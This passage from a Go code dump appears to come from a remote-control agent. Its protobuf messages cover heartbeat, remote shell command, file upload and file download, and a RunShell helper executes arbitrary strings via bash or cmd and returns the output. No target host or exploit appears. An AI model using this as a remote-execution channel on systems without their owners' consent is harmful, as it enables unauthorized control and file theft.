*DeHeartbeat) XXX_Merge(src proto.Message) { 44 | xxx_messageInfo_DeHeartbeat.Merge(m, src) 45 | } 46 | func (m *DeHeartbeat) XXX_Size() int { 47 | return xxx_messageInfo_DeHeartbeat.Size(m) 48 | } 49 | func (m *DeHeartbeat) XXX_DiscardUnknown() { 50 | xxx_messageInfo_DeHeartbeat.DiscardUnknown(m) 51 | } 52 | 53 | var xxx_messageInfo_DeHeartbeat proto.InternalMessageInfo 54 | 55 | func (m *DeHeartbeat) GetCPU() uint32 { 56 | if m != nil { 57 | return m.CPU 58 | } 59 | return 0 60 | } 61 | 62 | type DeShell struct { 63 | Cmd string `protobuf:"bytes,1,opt,name=Cmd,proto3" json:"Cmd,omitempty"` 64 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 65 | XXX_unrecognized []byte `json:"-"` 66 | XXX_sizecache int32 `json:"-"` 67 | } 68 | 69 | func (m *DeShell) Reset() { *m = DeShell{} } 70 | func (m *DeShell) String() string { return proto.CompactTextString(m) } 71 | func (*DeShell) ProtoMessage() {} 72 | func (*DeShell) Descriptor() ([]byte, []int) { 73 | return fileDescriptor_f80abaa17e25ccc8, []int{1} 74 | } 75 | 76 | func (m *DeShell) XXX_Unmarshal(b []byte) error { 77 | return xxx_messageInfo_DeShell.Unmarshal(m, b) 78 | } 79 | func (m *DeShell) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 80 | return xxx_messageInfo_DeShell.Marshal(b, m, deterministic) 81 | } 82 | func (m *DeShell) XXX_Merge(src proto.Message) { 83 | xxx_messageInfo_DeShell.Merge(m, src) 84 | } 85 | func (m *DeShell) XXX_Size() int { 86 | return xxx_messageInfo_DeShell.Size(m) 87 | } 88 | func (m *DeShell) XXX_DiscardUnknown() { 89 | xxx_messageInfo_DeShell.DiscardUnknown(m) 90 | } 91 | 92 | var xxx_messageInfo_DeShell proto.InternalMessageInfo 93 | 94 | func (m *DeShell) GetCmd() string { 95 | if m != nil { 96 | return m.Cmd 97 | } 98 | return "" 99 | } 100 | 101 | type DeUpload struct { 102 | Body []byte `protobuf:"bytes,1,opt,name=Body,proto3" json:"Body,omitempty"` 103 | FileName string `protobuf:"bytes,2,opt,name=FileName,proto3" json:"FileName,omitempty"` 104 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 105 | XXX_unrecognized []byte `json:"-"` 106 | XXX_sizecache int32 `json:"-"` 107 | } 108 | 109 | func (m *DeUpload) Reset() { *m = DeUpload{} } 110 | func (m *DeUpload) String() string { return proto.CompactTextString(m) } 111 | func (*DeUpload) ProtoMessage() {} 112 | func (*DeUpload) Descriptor() ([]byte, []int) { 113 | return fileDescriptor_f80abaa17e25ccc8, []int{2} 114 | } 115 | 116 | func (m *DeUpload) XXX_Unmarshal(b []byte) error { 117 | return xxx_messageInfo_DeUpload.Unmarshal(m, b) 118 | } 119 | func (m *DeUpload) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 120 | return xxx_messageInfo_DeUpload.Marshal(b, m, deterministic) 121 | } 122 | func (m *DeUpload) XXX_Merge(src proto.Message) { 123 | xxx_messageInfo_DeUpload.Merge(m, src) 124 | } 125 | func (m *DeUpload) XXX_Size() int { 126 | return xxx_messageInfo_DeUpload.Size(m) 127 | } 128 | func (m *DeUpload) XXX_DiscardUnknown() { 129 | xxx_messageInfo_DeUpload.DiscardUnknown(m) 130 | } 131 | 132 | var xxx_messageInfo_DeUpload proto.InternalMessageInfo 133 | 134 | func (m *DeUpload) GetBody() []byte { 135 | if m != nil { 136 | return m.Body 137 | } 138 | return nil 139 | } 140 | 141 | func (m *DeUpload) GetFileName() string { 142 | if m != nil { 143 | return m.FileName 144 | } 145 | return "" 146 | } 147 | 148 | type DeDownLoad struct { 149 | FilePath string `protobuf:"bytes,1,opt,name=FilePath,proto3" json:"FilePath,omitempty"` 150 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 151 | XXX_unrecognized []byte `json:"-"` 152 | XXX_sizecache int32 `json:"-"` 153 | } 154 | 155 | func (m *DeDownLoad) Reset() { *m = DeDownLoad{} } 156 | func (m *DeDownLoad) String() string { return proto.CompactTextString(m) } 157 | func (*DeDownLoad) ProtoMessage() {} 158 | func (*DeDownLoad) Descriptor() ([]byte, []int) { 159 | return fileDescriptor_f80abaa17e25ccc8, []int{3} 160 | } 161 | 162 | func (m *DeDownLoad) XXX_Unmarshal(b []byte) error { 163 | return xxx_messageInfo_DeDownLoad.Unmarshal(m, b) 164 | } 165 | func (m *DeDownLoad) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 166 | return xxx_messageInfo_DeDownLoad.Marshal(b, m, deterministic) 167 | } 168 | func (m *DeDownLoad) XXX_Merge(src proto.Message) { 169 | xxx_messageInfo_DeDownLoad.Merge(m, src) 170 | } 171 | func (m *DeDownLoad) XXX_Size() int { 172 | return xxx_messageInfo_DeDownLoad.Size(m) 173 | } 174 | func (m *DeDownLoad) XXX_DiscardUnknown() { 175 | xxx_messageInfo_DeDownLoad.DiscardUnknown(m) 176 | } 177 | 178 | var xxx_messageInfo_DeDownLoad proto.InternalMessageInfo 179 | 180 | func (m *DeDownLoad) GetFilePath() string { 181 | if m != nil { 182 | return m.FilePath 183 | } 184 | return "" 185 | } 186 | 187 | type DeGeneralResp struct { 188 | Bytes []byte `protobuf:"bytes,1,opt,name=Bytes,proto3" json:"Bytes,omitempty"` 189 | Body string `protobuf:"bytes,2,opt,name=Body,proto3" json:"Body,omitempty"` 190 | Success bool `protobuf:"varint,3,opt,name=Success,proto3" json:"Success,omitempty"` 191 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 192 | XXX_unrecognized []byte `json:"-"` 193 | XXX_sizecache int32 `json:"-"` 194 | } 195 | 196 | func (m *DeGeneralResp) Reset() { *m = DeGeneralResp{} } 197 | func (m *DeGeneralResp) String() string { return proto.CompactTextString(m) } 198 | func (*DeGeneralResp) ProtoMessage() {} 199 | func (*DeGeneralResp) Descriptor() ([]byte, []int) { 200 | return fileDescriptor_f80abaa17e25ccc8, []int{4} 201 | } 202 | 203 | func (m *DeGeneralResp) XXX_Unmarshal(b []byte) error { 204 | return xxx_messageInfo_DeGeneralResp.Unmarshal(m, b) 205 | } 206 | func (m *DeGeneralResp) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 207 | return xxx_messageInfo_DeGeneralResp.Marshal(b, m, deterministic) 208 | } 209 | func (m *DeGeneralResp) XXX_Merge(src proto.Message) { 210 | xxx_messageInfo_DeGeneralResp.Merge(m, src) 211 | } 212 | func (m *DeGeneralResp) XXX_Size() int { 213 | return xxx_messageInfo_DeGeneralResp.Size(m) 214 | } 215 | func (m *DeGeneralResp) XXX_DiscardUnknown() { 216 | xxx_messageInfo_DeGeneralResp.DiscardUnknown(m) 217 | } 218 | 219 | var xxx_messageInfo_DeGeneralResp proto.InternalMessageInfo 220 | 221 | func (m *DeGeneralResp) GetBytes() []byte { 222 | if m != nil { 223 | return m.Bytes 224 | } 225 | return nil 226 | } 227 | 228 | func (m *DeGeneralResp) GetBody() string { 229 | if m != nil { 230 | return m.Body 231 | } 232 | return "" 233 | } 234 | 235 | func (m *DeGeneralResp) GetSuccess() bool { 236 | if m != nil { 237 | return m.Success 238 | } 239 | return false 240 | } 241 | 242 | type Resp struct { 243 | // Types that are valid to be assigned to RespItem: 244 | // *Resp_Shell 245 | // *Resp_Heartbeat 246 | // *Resp_Upload 247 | // *Resp_DownLoad 248 | // *Resp_GeneralResp 249 | RespItem isResp_RespItem `protobuf_oneof:"RespItem"` 250 | XXX_NoUnkeyedLiteral struct{} `json:"-"` 251 | XXX_unrecognized []byte `json:"-"` 252 | XXX_sizecache int32 `json:"-"` 253 | } 254 | 255 | func (m *Resp) Reset() { *m = Resp{} } 256 | func (m *Resp) String() string { return proto.CompactTextString(m) } 257 | func (*Resp) ProtoMessage() {} 258 | func (*Resp) Descriptor() ([]byte, []int) { 259 | return fileDescriptor_f80abaa17e25ccc8, []int{5} 260 | } 261 | 262 | func (m *Resp) XXX_Unmarshal(b []byte) error { 263 | return xxx_messageInfo_Resp.Unmarshal(m, b) 264 | } 265 | func (m *Resp) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { 266 | return xxx_messageInfo_Resp.Marshal(b, m, deterministic) 267 | } 268 | func (m *Resp) XXX_Merge(src proto.Message) { 269 | xxx_messageInfo_Resp.Merge(m, src) 270 | } 271 | func (m *Resp) XXX_Size() int { 272 | return xxx_messageInfo_Resp.Size(m) 273 | } 274 | func (m *Resp) XXX_DiscardUnknown() { 275 | xxx_messageInfo_Resp.DiscardUnknown(m) 276 | } 277 | 278 | var xxx_messageInfo_Resp proto.InternalMessageInfo 279 | 280 | type isResp_RespItem interface { 281 | isResp_RespItem() 282 | } 283 | 284 | type Resp_Shell struct { 285 | Shell *DeShell `protobuf:"bytes,1,opt,name=Shell,proto3,oneof"` 286 | } 287 | 288 | type Resp_Heartbeat struct { 289 | Heartbeat *DeHeartbeat `protobuf:"bytes,2,opt,name=Heartbeat,proto3,oneof"` 290 | } 291 | 292 | type Resp_Upload struct { 293 | Upload *DeUpload `protobuf:"bytes,3,opt,name=Upload,proto3,oneof"` 294 | } 295 | 296 | type Resp_DownLoad struct { 297 | DownLoad *DeDownLoad `protobuf:"bytes,4,opt,name=DownLoad,proto3,oneof"` 298 | } 299 | 300 | type Resp_GeneralResp struct { 301 | GeneralResp *DeGeneralResp `protobuf:"bytes,5,opt,name=GeneralResp,proto3,oneof"` 302 | } 303 | 304 | func (*Resp_Shell) isResp_RespItem() {} 305 | 306 | func (*Resp_Heartbeat) isResp_RespItem() {} 307 | 308 | func (*Resp_Upload) isResp_RespItem() {} 309 | 310 | func (*Resp_DownLoad) isResp_RespItem() {} 311 | 312 | func (*Resp_GeneralResp) isResp_RespItem() {} 313 | 314 | func (m *Resp) GetRespItem() isResp_RespItem { 315 | if m != nil { 316 | return m.RespItem 317 | } 318 | return nil 319 | } 320 | 321 | func (m *Resp) GetShell() *DeShell { 322 | if x, ok := m.GetRespItem().(*Resp_Shell); ok { 323 | return x.Shell 324 | } 325 | return nil 326 | } 327 | 328 | func (m *Resp) GetHeartbeat() *DeHeartbeat { 329 | if x, ok := m.GetRespItem().(*Resp_Heartbeat); ok { 330 | return x.Heartbeat 331 | } 332 | return nil 333 | } 334 | 335 | func (m *Resp) GetUpload() *DeUpload { 336 | if x, ok := m.GetRespItem().(*Resp_Upload); ok { 337 | return x.Upload 338 | } 339 | return nil 340 | } 341 | 342 | func (m *Resp) GetDownLoad() *DeDownLoad { 343 | if x, ok := m.GetRespItem().(*Resp_DownLoad); ok { 344 | return x.DownLoad 345 | } 346 | return nil 347 | } 348 | 349 | func (m *Resp) GetGeneralResp() *DeGeneralResp { 350 | if x, ok := m.GetRespItem().(*Resp_GeneralResp); ok { 351 | return x.GeneralResp 352 | } 353 | return nil 354 | } 355 | 356 | // XXX_OneofWrappers is for the internal use of the proto package. 357 | func (*Resp) XXX_OneofWrappers() []interface{} { 358 | return []interface{}{ 359 | (*Resp_Shell)(nil), 360 | (*Resp_Heartbeat)(nil), 361 | (*Resp_Upload)(nil), 362 | (*Resp_DownLoad)(nil), 363 | (*Resp_GeneralResp)(nil), 364 | } 365 | } 366 | 367 | func init() { 368 | proto.RegisterType((*DeHeartbeat)(nil), "pb.deHeartbeat") 369 | proto.RegisterType((*DeShell)(nil), "pb.deShell") 370 | proto.RegisterType((*DeUpload)(nil), "pb.deUpload") 371 | proto.RegisterType((*DeDownLoad)(nil), "pb.deDownLoad") 372 | proto.RegisterType((*DeGeneralResp)(nil), "pb.deGeneralResp") 373 | proto.RegisterType((*Resp)(nil), "pb.Resp") 374 | } 375 | 376 | func init() { 377 | proto.RegisterFile("pb.proto", fileDescriptor_f80abaa17e25ccc8) 378 | } 379 | 380 | var fileDescriptor_f80abaa17e25ccc8 = []byte{ 381 | // 316 bytes of a gzipped FileDescriptorProto 382 | 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x4c, 0x91, 0x4f, 0x4b, 0x03, 0x31, 383 | 0x10, 0xc5, 0x77, 0xfb, 0x77, 0x3b, 0xdb, 0xfa, 0x27, 0x78, 0x08, 0x7a, 0xb0, 0x44, 0x90, 0x1e, 384 | 0xa4, 0x42, 0xc5, 0x8b, 0xc7, 0x2a, 0x1a, 0x41, 0xa4, 0xa4, 0xf4, 0x03, 0x64, 0x9b, 0x81, 0x0a, 385 | 0xdb, 0x6e, 0xe8, 0x46, 0xa4, 0x1f, 0xdc, 0xbb, 0xec, 0x64, 0x1b, 0xf7, 0xb4, 0x33, 0xf3, 0x7e, 386 | 0x93, 0x97, 0xbc, 0x85, 0xc4, 0x66, 0x53, 0xbb, 0x2f, 0x5c, 0xc1, 0x5a, 0x36, 0x13, 0xd7, 0x90, 387 | 0x1a, 0x94, 0xa8, 0xf7, 0x2e, 0x43, 0xed, 0xd8, 0x19, 0xb4, 0x9f, 0x17, 0x2b, 0x1e, 0x8f, 0xe3, 388 | 0xc9, 0x48, 0x55, 0xa5, 0xb8, 0x82, 0xbe, 0xc1, 0xe5, 0x06, 0xf3, 0x9c, 0xc4, 0xad, 0x21, 0x71, 389 | 0xa0, 0xaa, 0x52, 0x3c, 0x41, 0x62, 0x70, 0x65, 0xf3, 0x42, 0x1b, 0xc6, 0xa0, 0x33, 0x2f, 0xcc, 390 | 0x81, 0xe4, 0xa1, 0xa2, 0x9a, 0x5d, 0x42, 0xf2, 0xfa, 0x95, 0xe3, 0xa7, 0xde, 0x22, 0x6f, 0xd1, 391 | 0x5a, 0xe8, 0xc5, 0x04, 0xc0, 0xe0, 0x4b, 0xf1, 0xb3, 0xfb, 0xa8, 0xb6, 0x6b, 0x72, 0xa1, 0xdd, 392 | 0xa6, 0x36, 0x08, 0xbd, 0x58, 0xc2, 0xc8, 0xe0, 0x1b, 0xee, 0x70, 0xaf, 0x73, 0x85, 0xa5, 0x65, 393 | 0x17, 0xd0, 0x9d, 0x1f, 0x1c, 0x96, 0xb5, 0x97, 0x6f, 0xc2, 0x05, 0xbc, 0x91, 0xbf, 0x00, 0x87, 394 | 0xfe, 0xf2, 0x7b, 0xbd, 0xc6, 0xb2, 0xe4, 0xed, 0x71, 0x3c, 0x49, 0xd4, 0xb1, 0x15, 0xbf, 0x31, 395 | 0x74, 0xe8, 0xb0, 0x1b, 0xe8, 0xd2, 0xf3, 0xe8, 0xb0, 0x74, 0x96, 0x4e, 0x6d, 0x36, 0xad, 0x5f, 396 | 0x2c, 0x23, 0xe5, 0x35, 0x76, 0x0f, 0x83, 0x10, 0x12, 0x19, 0xa4, 0xb3, 0x53, 0x0f, 0x86, 0xb1, 397 | 0x8c, 0xd4, 0x3f, 0xc3, 0x6e, 0xa1, 0xe7, 0x73, 0x21, 0xdf, 0x74, 0x36, 0xf4, 0xb4, 0x9f, 0xc9, 398 | 0x48, 0xd5, 0x2a, 0xbb, 0x83, 0xe4, 0x98, 0x01, 0xef, 0x10, 0x79, 0xe2, 0xc9, 0xe3, 0x54, 0x46, 399 | 0x2a, 0x10, 0xec, 0x11, 0xd2, 0x46, 0x0e, 0xbc, 0x4b, 0x0b, 0xe7, 0x7e, 0xa1, 0x21, 0xc8, 0x48, 400 | 0x35, 0xb9, 0x39, 0x40, 0x52, 0x7d, 0xdf, 0x1d, 0x6e, 0xb3, 0x1e, 0xfd, 0xfb, 0x87, 0xbf, 0x00, 401 | 0x00, 0x00, 0xff, 0xff, 0x9b, 0x9b, 0xa4, 0x10, 0x07, 0x02, 0x00, 0x00, 402 | } 403 | -------------------------------------------------------------------------------- /pb/pb.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | package pb; 3 | 4 | message deHeartbeat { 5 | uint32 CPU = 1; 6 | } 7 | 8 | message deShell { 9 | string Cmd = 1; 10 | } 11 | 12 | message deUpload { 13 | bytes Body = 1; 14 | string FileName = 2; 15 | } 16 | 17 | message deDownLoad { 18 | string FilePath = 1; 19 | } 20 | 21 | message deGeneralResp { 22 | bytes Bytes = 1; 23 | string Body = 2; 24 | bool Success = 3; 25 | } 26 | 27 | message Resp { 28 | oneof RespItem { 29 | deShell Shell = 1; 30 | deHeartbeat Heartbeat = 2; 31 | deUpload Upload = 3; 32 | deDownLoad DownLoad = 4; 33 | deGeneralResp GeneralResp = 5; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /utils/coding.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "github.com/axgle/mahonia" 5 | ) 6 | 7 | func CheckGBK(datas string) (re bool) { 8 | defer func() { 9 | if err := recover(); err != nil { 10 | re = false 11 | } 12 | }() 13 | data := []byte(datas) 14 | length := len(data) 15 | var i int = 0 16 | for i < length { 17 | if data[i] <= 0x7f { 18 | //编码0~127,只有一个字节的编码,兼容ASCII码 19 | i++ 20 | continue 21 | } else { 22 | //大于127的使用双字节编码,落在gbk编码范围内的字符 23 | if data[i] >= 0x81 && 24 | data[i] <= 0xfe && 25 | data[i+1] >= 0x40 && 26 | data[i+1] <= 0xfe && 27 | data[i+1] != 0xf7 { 28 | i += 2 29 | continue 30 | } else { 31 | return false 32 | } 33 | } 34 | } 35 | return true 36 | } 37 | func ConvertToByte(src string, srcCode string, targetCode string) []byte { 38 | srcCoder := mahonia.NewDecoder(srcCode) 39 | srcResult := srcCoder.ConvertString(src) 40 | tagCoder := mahonia.NewDecoder(targetCode) 41 | _, cdata, _ := tagCoder.Translate([]byte(srcResult), true) 42 | return cdata 43 | } 44 | 45 | func UTF8(data string) string { 46 | gbk := CheckGBK(data) 47 | if !gbk { 48 | return data 49 | } else { 50 | return string(ConvertToByte(data, "gbk", "utf8")) 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /utils/os.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import "runtime" 4 | 5 | func GetOs() string { 6 | return runtime.GOOS 7 | } 8 | -------------------------------------------------------------------------------- /utils/shell.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "os/exec" 6 | "strings" 7 | ) 8 | 9 | func RunShell(cmdString string) (string, error) { 10 | cmdString = strings.TrimSpace(cmdString) 11 | os := GetOs() 12 | bufferErr := bytes.NewBufferString("") 13 | bufferOut := bytes.NewBufferString("") 14 | var command *exec.Cmd 15 | switch os { 16 | case "linux": 17 | command = exec.Command("/bin/bash", "-c", cmdString) 18 | default: 19 | command = exec.Command("cmd", "/C", cmdString) 20 | } 21 | command.Stderr = bufferErr 22 | command.Stdout = bufferOut 23 | err := command.Run() 24 | errS := strings.TrimSpace(bufferErr.String()) 25 | outS := strings.TrimSpace(bufferOut.String()) 26 | if err != nil { 27 | return errS, err 28 | } 29 | if outS != "" { 30 | return outS, nil 31 | } 32 | 33 | if errS != "" { 34 | return errS, nil 35 | } 36 | return "", nil 37 | } 38 | --------------------------------------------------------------------------------